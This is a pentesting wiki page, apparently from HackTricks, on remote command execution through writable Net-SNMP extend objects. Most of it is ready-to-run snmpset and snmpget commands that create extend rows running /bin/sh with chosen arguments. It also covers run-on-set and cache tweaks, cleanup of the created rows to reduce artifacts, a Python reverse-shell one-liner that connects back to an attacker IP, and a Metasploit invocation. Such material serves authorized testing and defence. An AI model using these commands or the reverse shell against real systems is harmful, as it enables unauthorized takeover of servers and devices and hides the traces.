snmp-rce.md (7631B)
1 --- 2 title: "SNMP RCE" 3 section: "Network Services" 4 sectionSlug: "network-services-pentesting" 5 sourcePath: "src/network-services-pentesting/pentesting-snmp/snmp-rce.md" 6 sourceUrl: "https://github.com/HackTricks-wiki/hacktricks/blob/188de82beb54e70956b2952367a0af91d26758b8/src/network-services-pentesting/pentesting-snmp/snmp-rce.md" 7 sha: "188de82beb54e70956b2952367a0af91d26758b8" 8 isIndex: false 9 modified: true 10 license: "CC-BY-NC-4.0" 11 --- 12 13 # SNMP RCE 14 15 On Net-SNMP, a community string or SNMPv3 user with write access to the wrong OIDs can be much more dangerous than simple configuration tampering. If `NET-SNMP-EXTEND-MIB` is writable, an attacker can create an extension command that the agent executes with the `snmpd` process's privileges.<sup>[[1]](#references)[[2]](#references)</sup> 16 17 This technique is mainly about **Net-SNMP** systems exposing **`NET-SNMP-EXTEND-MIB`** with a community/user allowed to **write** into the tree. 18 19 ## Quick Triage 20 21 Before trying to create a new command, enumerate whether the target already exposes **extend** entries and whether your credentials can read the output objects: 22 23 ```bash 24 snmpwalk -v2c -c <COMMUNITY> <IP> NET-SNMP-EXTEND-MIB::nsExtendObjects 25 snmpwalk -v2c -c <COMMUNITY> <IP> NET-SNMP-EXTEND-MIB::nsExtendOutput1Table 26 ``` 27 28 Interesting objects to read back are:<sup>[[1]](#references)</sup> 29 30 - **`nsExtendCommand`**: absolute path that will be executed 31 - **`nsExtendArgs`**: arguments passed to the binary/script 32 - **`nsExtendOutput1Line`** / **`nsExtendOutputFull`**: stdout of the executed command 33 - **`nsExtendResult`**: exit code of the command (useful for quick checks, but limited to **0-255**) 34 35 If local MIBs are missing, the extend subtree is under **`1.3.6.1.4.1.8072.1.3.2`**. 36 37 ## Extending Services with Additional Commands 38 39 To extend SNMP services and add extra commands, it is possible to append new **rows to the `nsExtendObjects` table**. This can be achieved by using the `snmpset` command and providing the necessary parameters, including the absolute path to the executable and the command to be executed:<sup>[[2]](#references)</sup> 40 41 ```bash 42 snmpset -m +NET-SNMP-EXTEND-MIB -v 2c -c c0nfig localhost \ 43 'nsExtendStatus."evilcommand"' = createAndGo \ 44 'nsExtendCommand."evilcommand"' = /bin/echo \ 45 'nsExtendArgs."evilcommand"' = 'hello world' 46 ``` 47 48 ## Injecting Commands for Execution 49 50 Injecting commands to run on the SNMP service requires the existence and executability of the called binary/script. The **`NET-SNMP-EXTEND-MIB`** mandates providing the absolute path to the executable. 51 52 To confirm the execution of the injected command, the `snmpwalk` command can be used to enumerate the SNMP service. The **output will display the command and its associated details**, including the absolute path:<sup>[[2]](#references)</sup> 53 54 ```bash 55 snmpwalk -v2c -c SuP3RPrivCom90 10.129.2.26 NET-SNMP-EXTEND-MIB::nsExtendObjects 56 ``` 57 58 ## Running the Injected Commands 59 60 When the **injected command is read, it is executed**. This behavior is known as **`run-on-read()`**. The execution of the command can be observed during the `snmpwalk` read.<sup>[[2]](#references)</sup> 61 62 A practical pattern is to execute `/bin/sh` (or `/usr/bin/python3`) and pass the real payload in `nsExtendArgs`: 63 64 ```bash 65 snmpset -m +NET-SNMP-EXTEND-MIB -v2c -c SuP3RPrivCom90 10.129.2.26 \ 66 'nsExtendStatus."id"' = createAndGo \ 67 'nsExtendCommand."id"' = /bin/sh \ 68 'nsExtendArgs."id"' = '-c id' 69 70 snmpget -v2c -c SuP3RPrivCom90 10.129.2.26 NET-SNMP-EXTEND-MIB::nsExtendOutputFull."id" 71 snmpget -v2c -c SuP3RPrivCom90 10.129.2.26 NET-SNMP-EXTEND-MIB::nsExtendResult."id" 72 ``` 73 74 ## `run-on-set` and Cache Abuse 75 76 Net-SNMP also supports **`run-on-set`** entries. This is useful if you want to avoid triggering the command every time somebody performs a read on the output objects.<sup>[[1]](#references)</sup> 77 78 ```bash 79 snmpset -m +NET-SNMP-EXTEND-MIB -v2c -c SuP3RPrivCom90 10.129.2.26 \ 80 'nsExtendStatus."oneshot"' = createAndGo \ 81 'nsExtendCommand."oneshot"' = /bin/sh \ 82 'nsExtendArgs."oneshot"' = '-c id > /tmp/snmp_id' \ 83 'nsExtendRunType."oneshot"' = run-on-set 84 85 snmpset -m +NET-SNMP-EXTEND-MIB -v2c -c SuP3RPrivCom90 10.129.2.26 \ 86 'nsExtendRunType."oneshot"' = run-command 87 ``` 88 89 The output is cached by default for **5 seconds**. Newly created rows are **`volatile`** by default (they do not survive agent restarts), while statically configured `extend` entries usually appear as **`permanent`**. Setting **`nsExtendCacheTime`** to **`-1`** disables caching, but note that reading each individual output object can then execute the command again.<sup>[[1]](#references)</sup> 90 91 ```bash 92 snmpset -m +NET-SNMP-EXTEND-MIB -v2c -c SuP3RPrivCom90 10.129.2.26 \ 93 'nsExtendCacheTime."oneshot"' = -1 94 ``` 95 96 ## Cleanup 97 98 The created row can be removed after execution to reduce artifacts: 99 100 ```bash 101 snmpset -m +NET-SNMP-EXTEND-MIB -v2c -c SuP3RPrivCom90 10.129.2.26 \ 102 'nsExtendStatus."oneshot"' = destroy 103 ``` 104 105 ## Gaining Server Shell with SNMP 106 107 To gain control over the server and obtain a server shell, a python script developed by mxrch can be utilized from [**https://github.com/mxrch/snmp-shell**](https://github.com/mxrch/snmp-shell).<sup>[[2]](#references)</sup> 108 109 Alternatively, a reverse shell can be manually created by injecting a specific command into SNMP. This command, triggered by the `snmpwalk`, establishes a reverse shell connection to the attacker's machine, enabling control over the victim machine. 110 You can install the pre-requisite to run this: 111 112 ```bash 113 sudo apt install snmp snmp-mibs-downloader rlwrap -y 114 git clone https://github.com/mxrch/snmp-shell 115 cd snmp-shell 116 sudo python3 -m pip install -r requirements.txt 117 ``` 118 119 Interactive-ish shell: 120 121 ```bash 122 rlwrap python3 shell.py <IP> -c <COMMUNITY> 123 ``` 124 125 If you need to push a longer payload (for example, an SSH public key), the project also ships a **`legacy.py`** helper because writable SNMP string length is usually the limiting factor. 126 127 Or a reverse shell: 128 129 ```bash 130 snmpset -m +NET-SNMP-EXTEND-MIB -v 2c -c SuP3RPrivCom90 10.129.2.26 'nsExtendStatus."command10"' = createAndGo 'nsExtendCommand."command10"' = /usr/bin/python3.6 'nsExtendArgs."command10"' = '-c "import sys,socket,os,pty;s=socket.socket();s.connect((\"10.10.14.84\",8999));[os.dup2(s.fileno(),fd) for fd in (0,1,2)];pty.spawn(\"/bin/sh\")"' 131 ``` 132 133 ## Other Useful Tooling 134 135 Metasploit contains **`exploit/linux/snmp/net_snmpd_rw_access`**, which automates staging through writable extend objects when the target configuration permits it:<sup>[[4]](#references)</sup> 136 137 ```bash 138 msfconsole -q -x 'use exploit/linux/snmp/net_snmpd_rw_access; set RHOSTS <IP>; set COMMUNITY <COMMUNITY>; run' 139 ``` 140 141 ## Recent Real-World Example 142 143 This is still a current attack path and not only an old lab trick. In **June 2024**, Pierre Kim documented **pre-authenticated root RCE** in multiple Toshiba MFP models because they exposed SNMP configuration with default communities (`public` for RO and `private` for RW), allowing the exact same **`NET-SNMP-EXTEND-MIB`** technique to run `/bin/sh -c id` and reverse shells remotely.<sup>[[3]](#references)</sup> 144 145 ## References 146 147 - [1] [NET-SNMP-EXTEND-MIB definition](https://www.net-snmp.org/docs/mibs/NET-SNMP-EXTEND-MIB.txt) 148 - [2] [Rio Asmara - SNMP Arbitrary Command Execution and Shell](https://rioasmara.com/2021/02/05/snmp-arbitary-command-execution-and-shell/) 149 - [3] [Toshiba MFP: 40+ vulnerabilities (pre-auth root RCE via SNMP)](https://pierrekim.github.io/blog/2024-06-27-toshiba-mfp-40-vulnerabilities.html) 150 - [4] [Rapid7 Metasploit - Net-SNMPd write-access code execution](https://www.rapid7.com/db/modules/exploit/linux/snmp/net_snmpd_rw_access/)